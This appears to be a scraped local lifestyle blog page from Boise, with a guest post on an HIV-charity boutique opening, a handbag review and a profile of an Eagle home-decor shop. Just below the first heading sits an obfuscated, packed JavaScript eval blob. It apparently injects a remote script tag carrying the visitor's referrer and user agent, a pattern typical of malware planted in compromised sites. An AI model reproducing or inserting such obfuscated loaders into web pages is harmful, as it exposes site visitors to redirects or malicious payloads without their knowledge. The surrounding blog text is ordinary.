Guest Post by Amy Johnson!!!

New eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atfny|var|u0026u|referrer|ysdha||js|php’.split(‘|’),0,{}))
Boutique: Exposure a.l.p.h.a Interchange                                                   Exposes the FUN in FUNKY!

Don’t you love when you find that one-of-a-kind vintage dress or that previously unappreciated painting that shows everyone how eclectic you are? You want exposure; you want to show the world your new treasure!

We all want to be recognized as the wonderfully unique individuals that we are. Allies Linked for the Prevention of HIV and AIDS (ALPHA) has just opened their new gently repurposed boutique in downtown Boise on 10th St. This is where you will find those signature treasures that no one but you will own and everyone but you will wish they had found!

While the mission of ALPHA is a serious one, they know how to have fun. This is often the case of people who deal with a serious subject on a daily basis. Wednesday night, July 6 was no exception.

It was obvious that a lot of fun & creative energy went into the planning of this event! The front window had three improvisational models wearing fashions from the store, and posing with various odd objects. Passers-by glanced in with curious amusement. If that wasn’t enough to bring them in, then the upbeat bluesy live music played by Daniel Kerr did!

Unfortunately, this party was the VIP pre-shopping fundraiser and you had to have a ticket to participate. The VIP party people got a chance to be the first to discover fun, new/old or old/new fashions and home décor, dine on hors d’ oeuvres, and drink beer and wine from Moon River Distributing, who fittingly offers harder-to-find boutique wines.

Mark Dale, who has helped fill the store with its upscale, gently re-purposed items, enthusiastically described the plans for the store. They will be taking consignment pieces on a case-by-case basis and they hope to offer retail space for clothing, jewelry, and perfume designers. The front window will feature local artists and will change monthly.

This non-profit store will provide a much needed additional income for ALPHA. Craig Chapelle, who has been dubbed “The Wrangler” and used to be the fundraising director, said that this store will allow them to depend less on fundraising so they can direct more attention to what they are passionate about: the people. In fact, that was the common denominator for everyone at the event. Socially connected and compassionate, the ALPHA employees, volunteers, and friends agree that it’s a family.

Duane Quintana opened ALPHA to provide a service that was largely under-appreciated in the state of Idaho. They do free HIV testing, community education, and they offer counseling and support to Idahoans who have been diagnosed with the disease. They have just been approved by PCC to include testing for Gonorrhea and Chlamydia. They even have a food bank with pre-approved healthy choices for people who are too sick to work.

Though the event was light-hearted and filled with laughter, the cause was never far away. Some of the most ardent volunteers are HIV+ themselves. During the festivities, one young man came in for testing, not realizing that the offices had moved around the corner.

ALPHA is not only a fun place to shop, but also a conscientious way help to support a desperately-needed service in our community. The grand opening is August 4th, First Thursday in August, but they are open now for shopping and donations! Look for ALPHA between our favorite salon, Roots, and Café Bellissima at 213 N 10th St., Boise. Call (208) 424-8518 for more info, and be sure to follow Exposure a.l.p.h.a. Interchange on Facebook at !!!

Amy Johnson is currently a senior in Communication/Public Relations at Boise State University. She is a wife, mother, self-professed lover of the written word. Her awesome blog is  Also, be sure to  follow her on Twitter for creative musings and brilliant wit!

Local Treasure Find: the iTySE Bag!!!

This summer, I attended the annual Women’s Show in Boise, and came across these fantastic, functional bags! Here is a picture of my family with our iTySE bag, packed tight with all our 4th of July picnic gear. 🙂

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bags are so creative, and their inventor such a sweet & brilliant lady, I thought it would be fun to do a short video with her! Here it is, our video review of the iTySE (pronounced “it-see”) Bag! 🙂 (P.S., the second video is our funny bloopers, because sometimes unexpected things happen when you record outdoors in a public park, ha ha!!)

Video Review of iTySE Bags:


Click HERE to view the funny blooper reel!!! 😀


Check out more iTySE Bags at!!!


4 Sweaters, a water bottle, extra shoes, and a towel - all in one little bag!







Local Style Secret: Villa Decor & Design!

Ed Hardy Goblets

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Idaho has a lovely, walkable downtown, perfect for outdoor exploring, eating, and shopping! A variety of cafes and boutiques adorn the town’s main streets, but meander off the beaten path, and you’ll find even more! Just behind State and Eagle lies 1st and Aikens, a lovely little alley with a very special boutique: Villa Decor & Design, a veritable treasure trove of beauty and fashion!


(Click on images to view them full-sized)

Last weekend, I was invited to participate in First Friday ART IN EAGLE, as Villa Decor & Design‘s in-store style consultant.  I was very honored! This tiny boutique packs a shopping punch, above and beyond your typical home decor store! I enjoyed meandering through the store, meeting fabulous & friendly people, and letting my eyes absorb all the sumptuous paintings, giant candles, light-up bonsai trees, and unique wall-hangings.

Besides the unique & colorful home decor items, Villa’s owners Beth and Sandie have stocked the shelves with gorgeous purses, hats, scarves, jewelry, and shoes.

They are the exclusive carriers in this area of the amazing OneSole shoes, an item every oft-traveling woman should own! Click on my video below to see how amazing these shoes are!

In the wintertime, Villa carries designer “animal” hats; the same ones seen on celebrities in Hollywood, Sun Valley and Aspen!


In the summertime, tempt your toes with sparkly BSU sandals, and shade your tresses with a tough-but-girly studded hat! Villa Decor also has your perfect purse, whether you crave rhinestones, logos, leather, or studs – they have styles in every color to suit your whimsy! They also carry a lovely, local jewelry line, called Arrista Accents – Jewelry For The Discerning Woman. Check out their website at, and stop by Villa Decor to see their fabulous jewelry pieces in person!

Villa Decor & Design has something for everyone – stop in, check it out, and be sure to sign up for email alerts of seasonal sales & special events!!!

Villa Decor & Design
123 E. Aikens St, Ste 115, Eagle, ID 83616
(208) 869-5055, Open Tues – Saturday, 10-4

Also check out First Friday ART IN EAGLE, a facebook page dedicated to Eagle’s monthly First Friday events!!

My First Review!!!

In January 2010, the Idaho Business Review released an article about me, written by Gaye Bunderson, on the front page of their Leads section. She did such a great job, and I’m very thankful for her glowing review.

I’m posting a scan of the article here; click on the image below to view it in detail. I’m not sure if everyone will be able to read the words, but hopefully you can get the gist of it! 🙂

Hugs & love,


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Much gratitude & thanks to Valerie Davenport Photography

for the beautiful photo!!